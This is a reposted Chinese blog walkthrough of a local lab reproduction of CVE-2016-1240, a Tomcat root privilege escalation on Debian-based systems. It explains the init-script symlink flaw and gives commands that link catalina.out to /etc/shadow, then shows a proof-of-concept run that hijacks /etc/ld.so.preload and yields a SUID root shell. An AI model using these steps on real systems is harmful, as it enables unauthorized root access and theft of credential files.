Tomcat最新本地权限漏洞简单复现【转】

今天才早上得知Tomcat爆新漏洞,虽然不怎么会刷洞,但好奇得我还是本地搭建简单复现下漏洞,第一次复现了这种高大上的漏洞,心里还是挺激动得,哈哈,记录下来

先看下漏洞原理:

在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。

该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:

171  # Run the catalina.sh script as a daemon
172  set +e

173  touch “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
174 chown $TOMCAT7_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
175 start-stop-daemon –start -b -u “$TOMCAT7_USER” -g “$TOMCAT7_GROUP” \
176 -c “$TOMCAT7_USER” -d “$CATALINA_TMPDIR” -p “$CATALINA_PID” \
177 -x /bin/bash — -c “$AUTHBIND_COMMAND $TOMCAT_SH”
178 status=”$?”
179 set +a -e
在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。

首先注意影响范围:

Tomcat 8 <= 8.0.36-2

Tomcat 7 <= 7.0.70-2

Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响。

正文:


我自己用的ubuntu实验的,先安装上tomcat6

[Bash shell] 纯文本查看 复制代码
1
sudo apt-get install tomcat6

 

如果提示无法定位软件包,试试sudo apt-get update下,

后话:本来想在kali下复现的,然后自己在官网上下的tomcat6的安装包,解压后直接使用(额,这tm也太快了)发现/etc/init.d目录下根本没有tomcat这个文件,启动方式直接启动startup.sh脚本直接启动的,搞了半天,发现不对劲,貌似deb包安装Tomcat安装的程序才会出现这样的漏洞,看来应该要用apt-get install这个命令吧,但在kali下执行这条命令无法定位软件包,貌似是阿里源的问题(更新过的)

安装好了后会自动创建tomcat6这个用户
再修改下tomcat6用户的权限,默认是不允许登陆的
[Bash shell] 纯文本查看 复制代码
1
sudo usermod -s /bin/bash -G sudo tomcat6passwd tomcat6 #设置密码,不设置的话可以无法sudo提升权限su -l tomcat6 #登陆tocmat6用户

 

先来简单验证下:

切换到catalina.out的目录
[Bash shell] 纯文本查看 复制代码
1
2
3
cd /var/log/tomcat6
ln -fs /etc/shadow /var/log/tomcat6/catalina.out
head cataline.out

 

此时应该是禁止读取cataline.out的内容的 需要重启下tomcat
[Bash shell] 纯文本查看 复制代码
1
sudo service tomcat6 restart

 

重启tomcat需要root权限,这是为什么需要给tomcat6用户添加进sudo组的原因

 

在直接head cataline.out命令,就会发现已经可以读写到/etc/shadow里的内容了


使用poc提权

[AppleScript] 纯文本查看 复制代码
1
2
3
4
touch poc.sh #注意都是以tomcat6用户的身份执行命令的
vim poc.sh
#将Poc内容粘贴进来
chmod 777 poc.sh #将脚本设置为可执行

 

发现突然卡住了一样,懵了下子才反应过来还需要等待重启,md智障
在打开另一个终端,重启下tomcat
[Bash shell] 纯文本查看 复制代码
1
sudo service tomcat6 restart

 

发现脚本已经成功被执行了
[Bash shell] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
tomcat6@lj:/var/log/tomcat6$ ./poc.sh /var/log/tomcat6/catalina.out
 
Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240
Discovered and coded by:
Dawid Golunski
[url]http://legalhackers.com[/url]
[+] Starting the exploit in [active] mode with the following privileges:
uid=117(tomcat6) gid=126(tomcat6) 组=126(tomcat6),27(sudo)
[+] Target Tomcat log file set to /var/log/tomcat6/catalina.out
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 tomcat6 tomcat6 1017016 10月  8 22:51 /tmp/tomcatrootsh
[+] Symlink created at:
lrwxrwxrwx 1 tomcat6 tomcat6 18 10月  8 22:51 /var/log/tomcat6/catalina.out -> /etc/ld.so.preload
[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
 
[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
-rw-r--r-- 1 tomcat6 root 19 10月  8 22:51 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1017016 10月  8 22:51 /tmp/tomcatrootsh
Please tell me you're seeing this too ;)
  
[+] Executing the rootshell /tmp/tomcatrootsh now!
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# id
uid=117(tomcat6) gid=126(tomcat6) euid=0(root) 组=0(root),27(sudo),126(tomcat6)

 

最后退出shell用exit退出即可,完毕!

总结:1)可以看到,这个提权方法还是相对有些鸡肋的,需要等待tomcat6重启才可以获取root权限 2)收获很大,继续加油

此条目发表在未分类, 漏洞攻击分类目录。将固定链接加入收藏夹。